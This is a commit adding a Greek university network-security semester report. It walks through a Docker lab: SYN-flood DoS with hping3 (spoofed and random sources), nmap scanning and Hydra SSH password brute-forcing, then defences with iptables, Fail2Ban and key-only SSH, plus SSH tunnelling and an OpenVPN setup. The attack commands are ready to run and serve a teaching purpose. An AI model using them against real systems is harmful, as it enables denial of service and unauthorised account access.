Iro_Val
4 years ago
1 changed files with 577 additions and 0 deletions
@ -0,0 +1,577 @@ |
|||
= Εργασία Εξαμήνου |
|||
Ασφάλεια Δικτύων και Επικοινωνιών |
|||
Βαλαγκούτη Ηρώ - Αθηνά |
|||
:toc: right |
|||
:toc-title: Πίνακας περιεχομένων |
|||
:toclevels: 4 |
|||
:sectnums: |
|||
:icons: font |
|||
:tabs: |
|||
|
|||
|
|||
toc::[] |
|||
== Docker |
|||
=== Λίγα λόγια για το Docker |
|||
|
|||
Το Docker είναι μία πλατφόρμα λογισμικού ανοιχτού κώδικα με την οποία μπορούμε να κάνουμε virtualization σε επίπεδο λειτουργικού συστήματος. Δίνεται δηλαδή η δυνατότητα να εγκατασταθεί μόνο η εφαρμογή/υπηρεσία που θέλουμε, σε ένα απομονωμένο περιβάλλον από κανονικό σύστημα. Αυτό έχει ως συνέπεια την εξοικονόμηση CPU, GPU και RAM του υπολογιστή. Ακόμη, μπορεί να |
|||
χρησιμοποιηθεί για να δοκιμαστούν άγνωστες εφαρμογές, χωρίς να κινδυνέψει το υπόλοιπο σύστημα. |
|||
|
|||
=== Οδηγός εγκατάστασης (Ubuntu) |
|||
==== |
|||
---- |
|||
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add - |
|||
sudo add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable" |
|||
sudo apt update |
|||
|
|||
sudo apt install -y docker-ce |
|||
echo "or" |
|||
sudo apt install docker* |
|||
|
|||
sudo systemctl status docker |
|||
sudo usermod -aG docker username #οπου username το όνομα του χρήστη που θα δουλεύει με docker |
|||
|
|||
---- |
|||
==== |
|||
==== docker-compose |
|||
==== |
|||
---- |
|||
sudo curl -L "https://github.com/docker/compose/releases/download/1.24.1/docker-compose-$(uname -s)-$(uname -m)" -o /usr/local/bin/docker-compose |
|||
sudo chmod +x /usr/local/bin/docker-compose |
|||
sudo ln -s /usr/local/bin/docker-compose /usr/bin/docker-compose |
|||
---- |
|||
==== |
|||
==== error |
|||
==== |
|||
---- |
|||
Get https ://registry.vlabs.uniwa.gr:5080/v2/: x509: certificate |
|||
Pulling ... |
|||
ERROR: Get https://registry.vlabs.uniwa.gr:5080/v2/: x509: certificate signed by unknown authority |
|||
---- |
|||
==== |
|||
|
|||
* run |
|||
|
|||
==== |
|||
---- |
|||
$ sudo su |
|||
# touch set-ca.sh |
|||
---- |
|||
==== |
|||
|
|||
* copy-paste into file |
|||
==== |
|||
---- |
|||
registry_address=registry.vlabs.uniwa.gr |
|||
registry_port=5043 |
|||
mkdir -p /etc/docker/certs.d/$registry_address:$registry_port |
|||
openssl s_client -showcerts -connect $registry_address:$registry_port < /dev/null | sed -ne '/-BEGIN CERTIFICATE-/,/-END CERTIFICATE-/p' > /etc/docker/certs.d/$registry_address:$registry_port/ca.crt |
|||
registry_port=5080 |
|||
mkdir -p /etc/docker/certs.d/$registry_address:$registry_port |
|||
openssl s_client -showcerts -connect $registry_address:$registry_port < /dev/null | sed -ne '/-BEGIN CERTIFICATE-/,/-END CERTIFICATE-/p' > /etc/docker/certs.d/$registry_address:$registry_port/ca.crt |
|||
|
|||
registry_address=hub.swarmlab.io |
|||
registry_port=5443 |
|||
mkdir -p /etc/docker/certs.d/$registry_address:$registry_port |
|||
openssl s_client -showcerts -connect $registry_address:$registry_port < /dev/null | sed -ne '/-BEGIN CERTIFICATE-/,/-END CERTIFICATE-/p' > /etc/docker/certs.d/$registry_address:$registry_port/ca.crt |
|||
|
|||
registry_port=5480 |
|||
mkdir -p /etc/docker/certs.d/$registry_address:$registry_port |
|||
openssl s_client -showcerts -connect $registry_address:$registry_port < /dev/null | sed -ne '/-BEGIN CERTIFICATE-/,/-END CERTIFICATE-/p' > /etc/docker/certs.d/$registry_address:$registry_port/ca.crt |
|||
---- |
|||
==== |
|||
* exec file |
|||
==== |
|||
---- |
|||
sudo bash ./set-ca.sh |
|||
---- |
|||
==== |
|||
=== Δημιουργία σμήνους (swarm) από Docker |
|||
==== Δημιουργία cluster |
|||
* Make a new directory to store the project + |
|||
==== |
|||
---- |
|||
mkdir myproject |
|||
cd myproject |
|||
../install/usr/share/swarmlab.io/sec/swarmlab-sec create |
|||
---- |
|||
==== |
|||
|
|||
* Spin up the cluster (5 clusters shown here) + |
|||
==== |
|||
---- |
|||
cd myproject #if not already on the directory |
|||
../install/usr/share/swarmlab.io/sec/swarmlab-sec up size=5 |
|||
---- |
|||
==== |
|||
|
|||
* Login to the cluster + |
|||
==== |
|||
---- |
|||
cd myproject #if not already on the directory |
|||
../install/usr/share/swarmlab.io/sec/swarmlab-sec login |
|||
---- |
|||
NOTE: When you are inside a container: + |
|||
`ssh docker@<IP>` + |
|||
User password: docker + |
|||
sudo password: docker + |
|||
==== |
|||
|
|||
== Υλοποίηση συστήματος για την προσομοίωση Dos/DDos Attack |
|||
Για να επιτευχθεί ένα D(d)os Attack, χρειάζεται να γνωρίζουμε την IP και την port του μηχανήματος που θέλουμε να χτυπήσουμε. |
|||
|
|||
=== Βρίσκοντας την IP |
|||
==== |
|||
---- |
|||
ifconfig |
|||
---- |
|||
image:images/if_config.png[] |
|||
|
|||
TIP: IP: 172.19.0.2 |
|||
==== |
|||
|
|||
=== Βρίσκοντας τους ενεργούς hosts |
|||
==== |
|||
---- |
|||
nmap -sP <IP> |
|||
---- |
|||
image:images/nmap_p.png[] |
|||
|
|||
TIP: Αν η IP είναι π.χ. 172.19.0.2, αντί για το τελευταίο νούμερο βάζουμε *. |
|||
|
|||
==== |
|||
|
|||
=== Ενεργές πόρτες |
|||
==== |
|||
---- |
|||
nmap –p– <IP of worker> |
|||
---- |
|||
image:images/nmap_for_ports.png[] |
|||
|
|||
TIP: Εδώ φαίνεται ανοιχτή η πόρτα 22 |
|||
==== |
|||
|
|||
=== Εγκατάσταση hping3 |
|||
==== |
|||
---- |
|||
sudo apt update |
|||
sudo apt install hping3 |
|||
---- |
|||
==== |
|||
|
|||
=== Εκτέλεση |
|||
==== |
|||
---- |
|||
sudo hping3 -S <source IP> -a <target IP> -p <portno> --flood |
|||
---- |
|||
image:images/1st_hping3.png[] + |
|||
|
|||
ή + |
|||
---- |
|||
sudo hping3 -S --flood -V -p <portno> <target IP> |
|||
---- |
|||
image:images/2nd_hping3.png[] |
|||
|
|||
Όπου: + |
|||
-a: spoof source address + |
|||
-S: specifies SYN packets + |
|||
--flood: shoot at discretion, replies will be ignored and packets will be sent fast as possible. + |
|||
-V: Verbosity. + |
|||
-p: port number + |
|||
|
|||
SYN packets flood: + |
|||
---- |
|||
sudo hping3 <target host> -q -n -d 120 -S -p <portno> --flood --rand-source |
|||
---- |
|||
image:images/3rd_hping3.png[] |
|||
|
|||
Όπου: + |
|||
-q: brief output + |
|||
-n: show target ip instead of host + |
|||
-d 120: packet size + |
|||
--rand-source: hide IP address |
|||
==== |
|||
|
|||
=== Βλέποντας το flood |
|||
==== |
|||
---- |
|||
sudo tcpdump -ni <interface> |
|||
---- |
|||
ή + |
|||
---- |
|||
sudo tcpdump src <IP> |
|||
---- |
|||
Πρώτο attack: + |
|||
image:images/1st_flood.png[] + |
|||
Δεύτερο attack: + |
|||
image:images/2nd_flood.png[] + |
|||
Τρίτο attack: + |
|||
image:images/3rd_flood.png[] + |
|||
Στα παραπάνω screenshots φαίνεται ο διαφορετικός τύπος μηνυμάτων. |
|||
==== |
|||
|
|||
=== IP tables |
|||
Ένας τρόπος για να αποφευχθούν τα attacks είναι με χρήση των iptables. Είναι κάποιοι κανόνες που μπορούμε να δηλώσουμε ώστε να απαγορεύσουμε/επιτρέψουμε την διέλευση πακέτων. Παρακάτω χρησιμοποιήθηκε κανόνας που κόβει την κίνηση από μία συγκεκριμένη IP. |
|||
==== |
|||
Τα παρακάτω χρειάζονται sudo: + |
|||
---- |
|||
iptables -I INPUT -s <IP address we want to block> -j DROP |
|||
---- |
|||
Για να δούμε τους κανόνες: + |
|||
---- |
|||
iptables -L |
|||
---- |
|||
image:images/ip_tables.png[] + |
|||
Με την iptables -nvL μπορούμε να δούμε και στατιστικά, όπως πόσα πακέτα έχουν απορριφθεί από τον κάθε κανόνα. |
|||
==== |
|||
|
|||
== SSH Brute Force Attacks |
|||
=== SSH Attack with Hydra |
|||
* Εγκατάσταση hydra + |
|||
==== |
|||
---- |
|||
apt-get install hydra |
|||
---- |
|||
==== |
|||
* Password list + |
|||
==== |
|||
---- |
|||
wget https://downloads.skullsecurity.org/passwords/500-worst-passwords.txt.bz2 |
|||
|
|||
bzip2 -d 500-worst-passwords.txt.bz2 |
|||
---- |
|||
|
|||
TIP: Μπορούμε να επεξεργαστούμε το αρχείο και να προσθέσουμε και δικά μας passwords |
|||
==== |
|||
|
|||
* Find IP address of docker: + |
|||
==== |
|||
---- |
|||
ifconfig |
|||
---- |
|||
image:images/ssh_find_ip.png[] + |
|||
|
|||
TIP: Είναι 172.19.0.1 + |
|||
==== |
|||
|
|||
* Network range: + |
|||
==== |
|||
---- |
|||
ipcalc <IP address> |
|||
---- |
|||
image:images/ssh_ipcalc.png[] + |
|||
|
|||
==== |
|||
|
|||
* Scan for open ssh ports: + |
|||
==== |
|||
---- |
|||
nmap <IP address/subnet> -p 22 --open |
|||
---- |
|||
image:images/ssh_open_ports.png[] + |
|||
==== |
|||
|
|||
* Execute SSH brute force attack: + |
|||
==== |
|||
Η γενική σύνταξη της εντολής είναι (επειδή γνωρίζουμε το username): + |
|||
---- |
|||
hydra -l username -P passwords_file.txt ssh://IP -t no_of_tasks |
|||
---- |
|||
Άρα γίνεται: + |
|||
---- |
|||
hydra -l docker -P '/home/iro/Desktop/500-worst-passwords.txt' ssh://172.19.0.3 -t 8 |
|||
---- |
|||
image:images/ssh_success.png[] + |
|||
|
|||
TIP: Password: docker + |
|||
Αν δεν γνωρίζουμε ούτε το username, μπορούμε να ψάξουμε με βάση κάποιο αρχείο που περιέχει πιθανά ονόματα ως εξής: |
|||
hydra -L usernames.txt -P passwords.txt ssh://172.19.0.3 -t 8 |
|||
==== |
|||
|
|||
=== Fail2Ban |
|||
Το Fail2Ban είναι ένα open-source εργαλείο που αποσκοπεί στο να προστατεύει τα συστήματα από ssh brute force attacks. + |
|||
|
|||
* Εγκατάσταση: |
|||
==== |
|||
---- |
|||
sudo apt-get install fail2ban |
|||
sudo apt-get -y install rsyslog |
|||
|
|||
sudo rsyslogd |
|||
---- |
|||
==== |
|||
|
|||
* Backup Fail2Ban main configuration file (just in case) |
|||
==== |
|||
---- |
|||
cp /etc/fail2ban/jail.conf /etc/fail2ban/jail.local |
|||
---- |
|||
==== |
|||
|
|||
* Configure Fail2Ban |
|||
==== |
|||
---- |
|||
nano /etc/fail2ban/jail.local |
|||
---- |
|||
==== |
|||
|
|||
* Φτιάχνουμε ένα ssh section και αλλάζουμε τις τιμές ανάλογα με τις προτιμίσεις μας. Δεν ξεχνάμε να κάνουμε restart την υπηρεσία στο τέλος. |
|||
==== |
|||
image:images/ssh_jail.png[] + |
|||
---- |
|||
service fail2ban restart |
|||
---- |
|||
image:images/fail2ban_running.png[] + |
|||
==== |
|||
|
|||
* Κάνουμε ξανά επίθεση |
|||
==== |
|||
Η καινούρια επίθεση αποτυγχάνει + |
|||
|
|||
image:images/ssh_attack_fail.png[] + |
|||
|
|||
Ο επιτιθέμενος έχει μπλοκαριστεί + |
|||
image:images/docker_iptables_with_fail2ban.png[] + |
|||
==== |
|||
|
|||
=== Συνδέσεις μέσω Key |
|||
* Aν έχουμε κάνει τα προηγούμενα: + |
|||
==== |
|||
Κάνουμε unban + |
|||
---- |
|||
sudo fail2ban-client unban --all |
|||
---- |
|||
Σταματάμε το fail2ban + |
|||
---- |
|||
sudo service fail2ban stop |
|||
---- |
|||
==== |
|||
* Βρίσκουμε το αρχείο sshd_config και το ανοίγουμε + |
|||
==== |
|||
---- |
|||
sudo nano /etc/ssh/sshd_config |
|||
---- |
|||
Βγάζουμε από σχόλια και αλλάζουμε τις τιμές στα: + |
|||
LogLevel VERBOSE + |
|||
PermitRootLogin prohibit-password + |
|||
PasswordAuthentication no + |
|||
|
|||
Restart the ssh service + |
|||
---- |
|||
sudo service ssh restart |
|||
---- |
|||
Παρατηρούμε ότι πλέον δεν μπορούμε να μπούμε με κωδικό + |
|||
image:images/ssh_denied_password.png[] + |
|||
==== |
|||
=== Για το κλειδί |
|||
* Αν έχουμε κάνει τα παραπάνω: + |
|||
==== |
|||
Αλλάζουμε σε σχόλιο το PasswordAuthentication στο αρχείο sshd_config + |
|||
---- |
|||
sudo nano /etc/ssh/sshd_config |
|||
---- |
|||
|
|||
Σε νέο terminal στον υπολογιστή μας γράφουμε: + |
|||
---- |
|||
ssh-keygen |
|||
---- |
|||
Δίνουμε όνομα αρχείου/κωδικό (αν θέλουμε) + |
|||
|
|||
image:images/ssh_keygen.png[] + |
|||
|
|||
Δίνουμε την εντολή + |
|||
---- |
|||
ssh-copy-id -i ~/.ssh/id_rsa.pub UserName@RemoteServer |
|||
|
|||
ssh-copy-id -i ~/.ssh/id_rsa.pub docker@172.19.0.3 |
|||
---- |
|||
|
|||
Βγάζουμε από comment το PasswordAuthentication και κάνουμε restart το ssh + |
|||
---- |
|||
sudo service ssh restart |
|||
---- |
|||
|
|||
Αν πάμε να συνδεθούμε, πλέον θα χρειάζεται το κλειδί που δώσαμε στο ssh-keygen + |
|||
|
|||
==== |
|||
== SSH Forwarding |
|||
=== Εγκατάσταση υπηρεσίας (apache) |
|||
==== |
|||
---- |
|||
sudo apt-get update |
|||
sudo apt install apache2 |
|||
|
|||
---- |
|||
TIP: Αν έχουμε ήδη κάποια άλλη υπηρεσία, μπορούμε να χρησιμοποιήσουμε αυτή. |
|||
==== |
|||
|
|||
Για να τρέξουμε την υπηρεσία: |
|||
==== |
|||
---- |
|||
sudo apachectl start |
|||
sudo netstat -antlupe |
|||
---- |
|||
image:images/apache_is_running.png[] + |
|||
Η υπηρεσία μας τρέχει! + |
|||
==== |
|||
=== Local port forwarding |
|||
Η πρώτη συράγγωση είναι μεταξύ ενός container στον υπολογιστή μας. Για να επιτευχθεί αυτό χρειάζεται ο υπολογιστής μας να έχει και την server side υπηρεσία του ssh. Η port μετά το localhost θα πρέπει να είναι εκείνη που έχει την υπηρεσία που θέλουμε. Αλλάζουμε username και IP ανάλογα. + |
|||
==== |
|||
Σε ένα οποιοδήποτε container γράφουμε: + |
|||
---- |
|||
ssh -nNT -L 8081:localhost:80 iro@192.168.64.128 |
|||
---- |
|||
|
|||
image:images/local_port_forwarding.png[] + |
|||
|
|||
image:images/apache_page.png[] + |
|||
Εάν κάνουμε curl localhost:8081 βλέπουμε την σελίδα του apache + |
|||
==== |
|||
|
|||
=== Remote port forwarding |
|||
==== |
|||
Στον υπολογιστή μας γράφουμε: + |
|||
---- |
|||
ssh -nNT -R 8082:localhost:80 docker@172.21.0.6 |
|||
---- |
|||
image:images/remote_ssh.png[] + |
|||
|
|||
image:images/remote_ssh_apache.png[] + |
|||
Εάν κάνουμε curl localhost:8082 βλέπουμε την σελίδα του apache + |
|||
==== |
|||
|
|||
== VPN |
|||
Δημιουργούμε ένα νέο κατάλογο μέσα στο swarmlab-sec με όνομα π.χ. vpn + |
|||
|
|||
=== Δημιουργία αρχείου (create-vpn.sh) |
|||
|
|||
* copy-paste |
|||
==== |
|||
[source,bash] |
|||
---- |
|||
#!/bin/bash |
|||
IP=127.0.0.1 # Server IP # <1> |
|||
P=1194 # Server Port # <2> |
|||
OVPN_SERVER='10.80.0.0/16' # VPN Network # <3> |
|||
|
|||
#vpn_data=/var/lib/swarmlab/openvpn/openvpn-services/ # Dir to save data ** this must exist ** |
|||
vpn_data=$PWD/openvpn-services/ # <4> |
|||
if [ ! -d $vpn_data ]; then |
|||
mkdir -p $vpn_data |
|||
fi |
|||
|
|||
NAME=swarmlab-vpn-services # name of docker service # <5> |
|||
DOCKERnetwork=swarmlab-vpn-services-network # docker network |
|||
docker=registry.vlabs.uniwa.gr:5080/myownvpn # docker image |
|||
|
|||
docker stop $NAME #stop container |
|||
sleep 1 |
|||
docker container rm $NAME #rm container |
|||
|
|||
# rm config files |
|||
rm -f $vpn_data/openvpn.conf.*.bak |
|||
rm -f $vpn_data/openvpn.conf |
|||
rm -f $vpn_data/ovpn_env.sh.*.bak |
|||
rm -f $vpn_data/ovpn_env.sh |
|||
|
|||
# create network |
|||
sleep 1 |
|||
docker network create --attachable=true --driver=bridge --subnet=172.50.0.0/16 --gateway=172.50.0.1 $DOCKERnetwork |
|||
|
|||
#run container see ovpn_genconfig |
|||
docker run --net=none -it -v $vpn_data:/etc/openvpn -p 1194:1194 --rm $docker ovpn_genconfig -u udp://$IP:1194 \ |
|||
-N -d -c -p "route 172.50.20.0 255.255.255.0" -e "topology subnet" -s $OVPN_SERVER # <6> |
|||
|
|||
# create pki see ovpn_initpki |
|||
docker run --net=none -v $vpn_data:/etc/openvpn --rm -it $docker ovpn_initpki # <7> |
|||
|
|||
# see ovpn_copy_server_files |
|||
#docker run --net=none -v $vpn_data:/etc/openvpn --rm $docker ovpn_copy_server_files |
|||
|
|||
#create vpn see --cap-add=NET_ADMIN |
|||
sleep 1 |
|||
docker run --detach --name $NAME -v $vpn_data:/etc/openvpn --net=$DOCKERnetwork --ip=172.50.0.2 -p $P:1194/udp --cap-add=NET_ADMIN $docker # <8> |
|||
|
|||
sudo sysctl -w net.ipv4.ip_forward=1 |
|||
|
|||
#show created |
|||
docker ps |
|||
---- |
|||
<1> localhost inside of a container will resolve to the network stack of this container |
|||
<2> Port |
|||
<3> Specify Addresses and Netmasks for VPN Clients |
|||
<4> Directory to mount data |
|||
<5> Name of docker services |
|||
<6> Create config |
|||
<7> keys |
|||
<8> Run docker vpn service |
|||
==== |
|||
Τρέχουμε το αρχείο. (προσοχή στα δικαιώματα). Θα ζητηθεί ένα passphrase, μπορούμε να εισάγουμε ότι θέλουμε. Όταν η διαδικασία ολοκληρωθεί, θα πρέπει στα NAMES να δούμε το όνομα swarmlab-vpn-services (ή το αντίστοιχο που έχουμε επιλέξει εμείς). + |
|||
image:images/vpn_success.png[] + |
|||
Μπορούμε να το επιβεβαιώσουμε και με netstat + |
|||
image:images/vpn_success_2.png[] + |
|||
|
|||
=== Δημιουργία χρήστη |
|||
Για να μπορέσει να συνδεθεί ένας χρήστης, χρειάζεται ένα config αρχείο. |
|||
==== |
|||
---- |
|||
Η δομή της εντολής είναι: |
|||
docker run -v $vpn_data:/etc/openvpn --rm -it $docker easyrsa build-client-full $USERNAME nopass |
|||
|
|||
docker run -v $vpn_data:/etc/openvpn --log-driver=none --rm $docker ovpn_getclient $USERNAME > $USERNAME.ovpn |
|||
|
|||
όπου: |
|||
USERNAME=sec1 |
|||
vpn_data=$PWD/openvpn-services/ |
|||
docker=registry.vlabs.uniwa.gr:5080/myownvpn |
|||
όπως δόθηκαν στο αρχείο για το vpn |
|||
|
|||
Άρα |
|||
docker run -v $PWD/openvpn-services:/etc/openvpn --rm -it registry.vlabs.uniwa.gr:5080/myownvpn easyrsa build-client-full sec1 nopass |
|||
|
|||
docker run -v $PWD/openvpn-services:/etc/openvpn --rm --log-driver=none -it registry.vlabs.uniwa.gr:5080/myownvpn ovpn_getclient sec1 > sec1.ovpn |
|||
---- |
|||
Θα πρέπει να επιστρέψει την παρακάτω οθόνη (αφού εισάγουμε τον κωδικό) + |
|||
image:images/user_config_create_1.png[] + |
|||
==== |
|||
Ανοίγουμε το αρχείο του χρήστη και κάνουμε copy-paste αντικαθιστώντας την host machine IP με την δική μας, δηλαδή το μηχανάκι που τρέχει το docker. Το 1194 είναι η πόρτα που έχουμε δώσει στο create-vpn.sh |
|||
==== |
|||
---- |
|||
client |
|||
nobind |
|||
dev tun |
|||
comp-lzo |
|||
resolv-retry infinite |
|||
keepalive 15 60 |
|||
|
|||
remote-cert-tls server |
|||
remote <HOST MACHINE IP> 1194 udp |
|||
float |
|||
---- |
|||
|
|||
Αντιγράφουμε το αρχείο στον φάκελο που έχουμε το project |
|||
---- |
|||
cp sec* ../test/project/ |
|||
---- |
|||
|
|||
image:images/sec_on_project_folder.png[] + |
|||
==== |
|||
=== Εγκατάσταση openvpn |
|||
Για να μπορέσουμε να συνδεθούμε στο vpn, χρειαζόμαστε το openvpn. Το εγκαθιστούμε τόσο στα containers όσο και στο docker (τον master) |
|||
==== |
|||
---- |
|||
apt update |
|||
apt install openvpn |
|||
---- |
|||
==== |
|||
=== Λειτουργία |
|||
Εκτελούμε την παρακάτω εντολή σε κάποιο container: |
|||
==== |
|||
---- |
|||
openvpn --config ./sec1.ovpn |
|||
---- |
|||
image:images/init_sequence_complete.png[] + |
|||
Εδώ βλέπουμε ότι το container πήρε την IP 10.80.0.2, η οποία είναι εντός του VPN nertwork που ορίστηκε στο create-vpn.sh αρχείο (10.80.0.0/16). + |
|||
|
|||
image:images/worker_ip_after_vpn.png[] + |
|||
Το interface tun0 με τη IP του VPN. + |
|||
==== |
Loading…
Reference in new issue